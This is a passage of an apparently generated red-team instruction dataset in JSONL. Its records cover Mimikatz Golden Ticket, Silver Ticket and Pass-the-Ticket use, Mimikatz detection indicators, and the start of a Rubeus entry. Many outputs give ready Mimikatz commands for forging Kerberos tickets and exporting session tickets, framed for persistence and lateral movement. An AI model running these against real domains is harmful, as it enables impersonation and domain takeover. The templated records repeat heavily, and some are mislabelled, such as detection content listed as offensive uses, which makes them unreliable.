"2025-12-18T00:11:32.050533Z", "updated_at": "2025-12-18T00:11:32.050533Z"} +{"id": "trtp-d3c8bd4b675c", "instruction": "How do I incorporate Mimikatz into my security workflow?", "output": "Workflow for kerberos::golden:\n\n1. Understand the context: Creates a Golden Ticket - a forged TGT valid for any user including non-existent ones. Requires the krbtgt hash. Persists until krbtgt password is changed twice.\n\n2. Apply the tool:\n```\n# Create Golden Ticket\nmimikatz # kerberos::golden /user:FakeAdmin /domain:corp.local /sid:S-1-5-21-... /krbtgt: /ptt\n\n# With specific attributes\nmimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt: /id:500 /groups:512,513,519,520 /ptt\n\nUser : FakeAdmin\nDomain : CORP.LOCAL (corp)\nSID : S-1-5-21-...\nTicket : ** Pass The Ticket **\n```\n\n3. Common scenarios: Domain persistence, Privilege escalation, Bypass authentication\n\n4. Best practices:\n - Detection: 4769 with invalid logon time\n - krbtgt reset invalidates tickets", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberosgolden", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050428Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050548Z", "updated_at": "2025-12-18T00:11:32.050548Z"} +{"id": "trtp-49d3f190e28c", "instruction": "When should I use Mimikatz versus other similar tools?", "output": "Advantages of Mimikatz:\n\nCreates a Golden Ticket - a forged TGT valid for any user including non-existent ones. Requires the krbtgt hash. Persists until krbtgt password is changed twice.\n\nBest suited for:\n- Domain persistence\n- Privilege escalation\n- Bypass authentication\n- Detection validation\n\nActive Directory tools are essential for assessing enterprise security posture.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberosgolden", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050428Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050561Z", "updated_at": "2025-12-18T00:11:32.050561Z"} +{"id": "trtp-a8b988786615", "instruction": "How do I use Mimikatz alongside other tools in my toolkit?", "output": "Integration points for Mimikatz:\n\nCreates a Golden Ticket - a forged TGT valid for any user including non-existent ones. Requires the krbtgt hash. Persists until krbtgt password is changed twice.\n\nIntegration suggestions:\n- Import results into visualization tools\n- Feed attack paths to remediation workflows\n- Correlate with SIEM alerts\n- Use with privilege audit systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberosgolden", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050428Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050575Z", "updated_at": "2025-12-18T00:11:32.050575Z"} +{"id": "trtp-f465a8ea7e6e", "instruction": "Explain Mimikatz for security professionals.", "output": "kerberos::silver\n\nCreates a Silver Ticket - a forged service ticket for a specific service. Requires the service account's NTLM hash. More targeted than Golden Ticket but doesn't require krbtgt hash.\n\nPlatform: windows\n\nCommon uses:\n- Service impersonation\n- Lateral movement\n- Persistence on specific service", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberossilver", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050745Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050766Z", "updated_at": "2025-12-18T00:11:32.050766Z"} +{"id": "trtp-224c06cfa207", "instruction": "What command or query syntax does Mimikatz use?", "output": "Syntax for Mimikatz:\n\nkerberos::silver /user: /domain: /sid: /target: /service: /rc4:\n\nCreates a Silver Ticket - a forged service ticket for a specific service. Requires the service account's NTLM hash. More targeted than Golden Ticket but doesn't require krbtgt hash.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberossilver", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050745Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050779Z", "updated_at": "2025-12-18T00:11:32.050779Z"} +{"id": "trtp-820ec404a87a", "instruction": "How would I use Mimikatz for Service impersonation?", "output": "Example of kerberos::silver:\n\n```\n# Create Silver Ticket for CIFS (file share)\nmimikatz # kerberos::silver /user:Administrator /domain:corp.local /sid:S-1-5-21-... /target:fileserver.corp.local /service:cifs /rc4: /ptt\n\n# Service types:\n# cifs - File shares\n# http - Web services\n# host - PSRemoting, scheduled tasks\n# mssql - SQL Server\n```\n\nInterpretation: Creates service ticket for specific SPN", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberossilver", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050745Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050791Z", "updated_at": "2025-12-18T00:11:32.050791Z"} +{"id": "trtp-b39fb4f36851", "instruction": "Give me a practical example of Mimikatz.", "output": "Here is a practical example of Mimikatz:\n\n```\n# Create Silver Ticket for CIFS (file share)\nmimikatz # kerberos::silver /user:Administrator /domain:corp.local /sid:S-1-5-21-... /target:fileserver.corp.local /service:cifs /rc4: /ptt\n\n# Service types:\n# cifs - File shares\n# http - Web services\n# host - PSRemoting, scheduled tasks\n# mssql - SQL Server\n```\n\nCreates a Silver Ticket - a forged service ticket for a specific service. Requires the service account's NTLM hash. More targeted than Golden Ticket but doesn't require krbtgt hash.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberossilver", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050745Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050801Z", "updated_at": "2025-12-18T00:11:32.050801Z"} +{"id": "trtp-d267bb0ebe44", "instruction": "When should I use Mimikatz?", "output": "Use cases for Mimikatz:\n\n- Service impersonation\n- Lateral movement\n- Persistence on specific service\n\nCreates a Silver Ticket - a forged service ticket for a specific service. Requires the service account's NTLM hash. More targeted than Golden Ticket but doesn't require krbtgt hash.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberossilver", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050745Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050813Z", "updated_at": "2025-12-18T00:11:32.050813Z"} +{"id": "trtp-53c66ea34b5a", "instruction": "How can I get the most out of Mimikatz?", "output": "Tips for using Mimikatz:\n\n- Detection: 4624 without corresponding 4768\n- Requires service account hash\n- More stealthy than Golden Ticket\n\nUseful for: Service impersonation, Lateral movement, Persistence on specific service", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberossilver", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050745Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050828Z", "updated_at": "2025-12-18T00:11:32.050828Z"} +{"id": "trtp-389ed0afab54", "instruction": "What capabilities does Mimikatz provide for offensive security?", "output": "Offensive security uses of Mimikatz:\n\nCreates a Silver Ticket - a forged service ticket for a specific service. Requires the service account's NTLM hash. More targeted than Golden Ticket but doesn't require krbtgt hash.\n\nExample:\n```\n# Create Silver Ticket for CIFS (file share)\nmimikatz # kerberos::silver /user:Administrator /domain:corp.local /sid:S-1-5-21-... /target:fileserver.corp.local /service:cifs /rc4: /ptt\n\n# Service types:\n# cifs - File shares\n# http - Web services\n# host - PSRemoting, scheduled tasks\n# mssql - SQL Server\n```\n\nCapabilities:\n- Service impersonation\n- Lateral movement\n- Persistence on specific service", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberossilver", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050745Z", "transform_template": "attack_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050842Z", "updated_at": "2025-12-18T00:11:32.050842Z"} +{"id": "trtp-09384e0eabd0", "instruction": "What's the process for analyzing data with Mimikatz?", "output": "Workflow for kerberos::silver:\n\n1. Understand the context: Creates a Silver Ticket - a forged service ticket for a specific service. Requires the service account's NTLM hash. More targeted than Golden Ticket but doesn't require krbtgt hash.\n\n2. Apply the tool:\n```\n# Create Silver Ticket for CIFS (file share)\nmimikatz # kerberos::silver /user:Administrator /domain:corp.local /sid:S-1-5-21-... /target:fileserver.corp.local /service:cifs /rc4: /ptt\n\n# Service types:\n# cifs - File shares\n# http - Web services\n# host - PSRemoting, scheduled tasks\n# mssql - SQL Server\n```\n\n3. Common scenarios: Service impersonation, Lateral movement, Persistence on specific service\n\n4. Best practices:\n - Detection: 4624 without corresponding 4768\n - Requires service account hash", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberossilver", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050745Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050857Z", "updated_at": "2025-12-18T00:11:32.050857Z"} +{"id": "trtp-3046e22c7fe6", "instruction": "When should I use Mimikatz versus other similar tools?", "output": "Advantages of Mimikatz:\n\nCreates a Silver Ticket - a forged service ticket for a specific service. Requires the service account's NTLM hash. More targeted than Golden Ticket but doesn't require krbtgt hash.\n\nBest suited for:\n- Service impersonation\n- Lateral movement\n- Persistence on specific service\n\nActive Directory tools are essential for assessing enterprise security posture.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberossilver", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050745Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050870Z", "updated_at": "2025-12-18T00:11:32.050870Z"} +{"id": "trtp-08a41cea52fd", "instruction": "Can Mimikatz be combined with other analysis methods?", "output": "Integration points for Mimikatz:\n\nCreates a Silver Ticket - a forged service ticket for a specific service. Requires the service account's NTLM hash. More targeted than Golden Ticket but doesn't require krbtgt hash.\n\nIntegration suggestions:\n- Import results into visualization tools\n- Feed attack paths to remediation workflows\n- Correlate with SIEM alerts\n- Use with privilege audit systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberossilver", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050745Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050884Z", "updated_at": "2025-12-18T00:11:32.050884Z"} +{"id": "trtp-9b03b57efadd", "instruction": "How do security analysts use Mimikatz?", "output": "kerberos::ptt\n\nPass-the-Ticket injects a Kerberos ticket into the current session. Used with harvested or forged tickets for impersonation.\n\nPlatform: windows\n\nCommon uses:\n- Ticket injection\n- Session impersonation\n- Lateral movement", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberosptt", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051057Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051078Z", "updated_at": "2025-12-18T00:11:32.051078Z"} +{"id": "trtp-2f98f392ab60", "instruction": "What is the syntax for Mimikatz?", "output": "Syntax for Mimikatz:\n\nkerberos::ptt \n\nPass-the-Ticket injects a Kerberos ticket into the current session. Used with harvested or forged tickets for impersonation.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberosptt", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051057Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051091Z", "updated_at": "2025-12-18T00:11:32.051091Z"} +{"id": "trtp-a83fb8077d6d", "instruction": "Show me an example of Mimikatz in action.", "output": "Example of kerberos::ptt:\n\n```\n# Inject ticket from file\nmimikatz # kerberos::ptt ticket.kirbi\n\n# List tickets in session\nmimikatz # kerberos::list\n\n# Export tickets\nmimikatz # sekurlsa::tickets /export\n```\n\nInterpretation: Ticket added to session - can access resources as ticket user", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberosptt", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051057Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051102Z", "updated_at": "2025-12-18T00:11:32.051102Z"} +{"id": "trtp-fd1326df3faa", "instruction": "When should I use Mimikatz?", "output": "Use cases for Mimikatz:\n\n- Ticket injection\n- Session impersonation\n- Lateral movement\n\nPass-the-Ticket injects a Kerberos ticket into the current session. Used with harvested or forged tickets for impersonation.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberosptt", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051057Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051114Z", "updated_at": "2025-12-18T00:11:32.051114Z"} +{"id": "trtp-d3cc95e96143", "instruction": "How do I interpret Mimikatz output?", "output": "Interpreting Mimikatz output:\n\nTicket added to session - can access resources as ticket user\n\nExample output:\n```\n# Inject ticket from file\nmimikatz # kerberos::ptt ticket.kirbi\n\n# List tickets in session\nmimikatz # kerberos::list\n\n# Export tickets\nmimikatz # sekurlsa::tickets /export\n```", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberosptt", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051057Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051124Z", "updated_at": "2025-12-18T00:11:32.051124Z"} +{"id": "trtp-d62057a8519c", "instruction": "What are common tips for Mimikatz?", "output": "Tips for using Mimikatz:\n\n- Detection: 4648 explicit credential use\n- Rubeus provides similar functionality\n- Check with klist\n\nUseful for: Ticket injection, Session impersonation, Lateral movement", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberosptt", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051057Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051136Z", "updated_at": "2025-12-18T00:11:32.051136Z"} +{"id": "trtp-ac9812676c7a", "instruction": "What attack techniques can be performed with Mimikatz?", "output": "Offensive security uses of Mimikatz:\n\nPass-the-Ticket injects a Kerberos ticket into the current session. Used with harvested or forged tickets for impersonation.\n\nExample:\n```\n# Inject ticket from file\nmimikatz # kerberos::ptt ticket.kirbi\n\n# List tickets in session\nmimikatz # kerberos::list\n\n# Export tickets\nmimikatz # sekurlsa::tickets /export\n```\n\nCapabilities:\n- Ticket injection\n- Session impersonation\n- Lateral movement", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberosptt", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051057Z", "transform_template": "attack_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051149Z", "updated_at": "2025-12-18T00:11:32.051149Z"} +{"id": "trtp-6980ae313f3f", "instruction": "How do I incorporate Mimikatz into my security workflow?", "output": "Workflow for kerberos::ptt:\n\n1. Understand the context: Pass-the-Ticket injects a Kerberos ticket into the current session. Used with harvested or forged tickets for impersonation.\n\n2. Apply the tool:\n```\n# Inject ticket from file\nmimikatz # kerberos::ptt ticket.kirbi\n\n# List tickets in session\nmimikatz # kerberos::list\n\n# Export tickets\nmimikatz # sekurlsa::tickets /export\n```\n\n3. Common scenarios: Ticket injection, Session impersonation, Lateral movement\n\n4. Best practices:\n - Detection: 4648 explicit credential use\n - Rubeus provides similar functionality", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberosptt", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051057Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051163Z", "updated_at": "2025-12-18T00:11:32.051163Z"} +{"id": "trtp-6fa317c90a18", "instruction": "What makes Mimikatz useful for this task?", "output": "Advantages of Mimikatz:\n\nPass-the-Ticket injects a Kerberos ticket into the current session. Used with harvested or forged tickets for impersonation.\n\nBest suited for:\n- Ticket injection\n- Session impersonation\n- Lateral movement\n\nActive Directory tools are essential for assessing enterprise security posture.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberosptt", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051057Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051176Z", "updated_at": "2025-12-18T00:11:32.051176Z"} +{"id": "trtp-e39569849362", "instruction": "How do I use Mimikatz alongside other tools in my toolkit?", "output": "Integration points for Mimikatz:\n\nPass-the-Ticket injects a Kerberos ticket into the current session. Used with harvested or forged tickets for impersonation.\n\nIntegration suggestions:\n- Import results into visualization tools\n- Feed attack paths to remediation workflows\n- Correlate with SIEM alerts\n- Use with privilege audit systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberosptt", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051057Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051191Z", "updated_at": "2025-12-18T00:11:32.051191Z"} +{"id": "trtp-ca784d54f6cc", "instruction": "What is Mimikatz and how is it used in security?", "output": "Mimikatz Detection\n\nDetecting Mimikatz involves monitoring LSASS access, specific command patterns, and Kerberos anomalies. Multiple detection points exist across the attack chain.\n\nPlatform: windows\n\nCommon uses:\n- Blue team detection\n- SIEM alerting\n- EDR rules\n- Threat hunting", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-mimikatz-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051360Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051382Z", "updated_at": "2025-12-18T00:11:32.051382Z"} +{"id": "trtp-660599c75489", "instruction": "What is the syntax for Mimikatz?", "output": "Syntax for Mimikatz:\n\nDetection rules and indicators\n\nDetecting Mimikatz involves monitoring LSASS access, specific command patterns, and Kerberos anomalies. Multiple detection points exist across the attack chain.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-mimikatz-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051360Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051395Z", "updated_at": "2025-12-18T00:11:32.051395Z"} +{"id": "trtp-4a80b88b81f8", "instruction": "Provide an example of using Mimikatz.", "output": "Example of Mimikatz Detection:\n\n```\n# Detection indicators:\n1. Sysmon Event 10: LSASS access with GrantedAccess 0x1010\n2. Event 4656/4663: LSASS object access\n3. Event 4662: DCSync (Replicating Directory Changes)\n4. Event 4769: Kerberos service ticket (RC4 encryption)\n5. Process creation: mimikatz.exe or renamed binary\n6. Command line: sekurlsa::, lsadump::, kerberos::\n\n# YARA/Sigma rules available for detection\n```\n\nInterpretation: Multiple events correlate to confirm Mimikatz activity", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-mimikatz-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051360Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051407Z", "updated_at": "2025-12-18T00:11:32.051407Z"} +{"id": "trtp-56c689c643be", "instruction": "Provide an example of using Mimikatz.", "output": "Here is a practical example of Mimikatz:\n\n```\n# Detection indicators:\n1. Sysmon Event 10: LSASS access with GrantedAccess 0x1010\n2. Event 4656/4663: LSASS object access\n3. Event 4662: DCSync (Replicating Directory Changes)\n4. Event 4769: Kerberos service ticket (RC4 encryption)\n5. Process creation: mimikatz.exe or renamed binary\n6. Command line: sekurlsa::, lsadump::, kerberos::\n\n# YARA/Sigma rules available for detection\n```\n\nDetecting Mimikatz involves monitoring LSASS access, specific command patterns, and Kerberos anomalies. Multiple detection points exist across the attack chain.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-mimikatz-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051360Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051418Z", "updated_at": "2025-12-18T00:11:32.051418Z"} +{"id": "trtp-72f93e80a573", "instruction": "When should I use Mimikatz?", "output": "Use cases for Mimikatz:\n\n- Blue team detection\n- SIEM alerting\n- EDR rules\n- Threat hunting\n\nDetecting Mimikatz involves monitoring LSASS access, specific command patterns, and Kerberos anomalies. Multiple detection points exist across the attack chain.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-mimikatz-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051360Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051430Z", "updated_at": "2025-12-18T00:11:32.051430Z"} +{"id": "trtp-29e303a0afb4", "instruction": "What are common tips for Mimikatz?", "output": "Tips for using Mimikatz:\n\n- Layer multiple detections\n- Monitor for evasion techniques\n- Enable PowerShell logging\n\nUseful for: Blue team detection, SIEM alerting, EDR rules", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-mimikatz-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051360Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051445Z", "updated_at": "2025-12-18T00:11:32.051445Z"} +{"id": "trtp-056d024aae5a", "instruction": "How do red teamers use Mimikatz?", "output": "Offensive security uses of Mimikatz:\n\nDetecting Mimikatz involves monitoring LSASS access, specific command patterns, and Kerberos anomalies. Multiple detection points exist across the attack chain.\n\nExample:\n```\n# Detection indicators:\n1. Sysmon Event 10: LSASS access with GrantedAccess 0x1010\n2. Event 4656/4663: LSASS object access\n3. Event 4662: DCSync (Replicating Directory Changes)\n4. Event 4769: Kerberos service ticket (RC4 encryption)\n5. Process creation: mimikatz.exe or renamed binary\n6. Command line: sekurlsa::, lsadump::, kerberos::\n\n# YARA/Sigma rules available for detection\n```\n\nCapabilities:\n- Blue team detection\n- SIEM alerting\n- EDR rules", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-mimikatz-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051360Z", "transform_template": "attack_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051460Z", "updated_at": "2025-12-18T00:11:32.051460Z"} +{"id": "trtp-e2ce41d229a5", "instruction": "What's the process for analyzing data with Mimikatz?", "output": "Workflow for Mimikatz Detection:\n\n1. Understand the context: Detecting Mimikatz involves monitoring LSASS access, specific command patterns, and Kerberos anomalies. Multiple detection points exist across the attack chain.\n\n2. Apply the tool:\n```\n# Detection indicators:\n1. Sysmon Event 10: LSASS access with GrantedAccess 0x1010\n2. Event 4656/4663: LSASS object access\n3. Event 4662: DCSync (Replicating Directory Changes)\n4. Event 4769: Kerberos service ticket (RC4 encryption)\n5. Process creation: mimikatz.exe or renamed binary\n6. Command line: sekurlsa::, lsadump::, kerberos::\n\n# YARA/Sigma rules available for detection\n```\n\n3. Common scenarios: Blue team detection, SIEM alerting, EDR rules\n\n4. Best practices:\n - Layer multiple detections\n - Monitor for evasion techniques", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-mimikatz-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051360Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051481Z", "updated_at": "2025-12-18T00:11:32.051481Z"} +{"id": "trtp-591a5cb952b1", "instruction": "What makes Mimikatz useful for this task?", "output": "Advantages of Mimikatz:\n\nDetecting Mimikatz involves monitoring LSASS access, specific command patterns, and Kerberos anomalies. Multiple detection points exist across the attack chain.\n\nBest suited for:\n- Blue team detection\n- SIEM alerting\n- EDR rules\n- Threat hunting\n\nActive Directory tools are essential for assessing enterprise security posture.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-mimikatz-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051360Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051497Z", "updated_at": "2025-12-18T00:11:32.051497Z"} +{"id": "trtp-020b5b2804e0", "instruction": "How do I use Mimikatz alongside other tools in my toolkit?", "output": "Integration points for Mimikatz:\n\nDetecting Mimikatz involves monitoring LSASS access, specific command patterns, and Kerberos anomalies. Multiple detection points exist across the attack chain.\n\nIntegration suggestions:\n- Import results into visualization tools\n- Feed attack paths to remediation workflows\n- Correlate with SIEM alerts\n- Use with privilege audit systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-mimikatz-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051360Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051513Z", "updated_at": "2025-12-18T00:11:32.051513Z"} +{"id": "trtp-adfb2bf5155b", "instruction": "How do security analysts use Rubeus?", "output": "Rubeus Kerberos Toolkit\n\nRubeus is a C# toolset for Kerberos interaction and abuse. Provides functionality for Kerberoasting, AS-REP roasting, ticket manipulation, and delegation attacks.\n\nPlatform: windows\n\nCommon uses:\n- Kerberos attacks\n- Credential harvesting\n- Ticket manipulation\n- Delegation abuse", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-rubeus-kerberos-toolkit", "license": "original", "retrieved_at": "2025-12-18T00:11:32.051695Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.051717Z", "updated_at": "2025-12-18T00:11:32.051717Z"} +{"id": "trtp-b52668d92e1d", "instruction": "What command or query syntax does Rubeus use?", "output": "Syntax for Rubeus:\n\nRubeus.exe [options]\n\nRubeus is a C# toolset for Kerberos interaction and abuse. Provides functionality for Kerberoasting, AS-REP roasting, ticket manipulation, and delegation attacks.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": 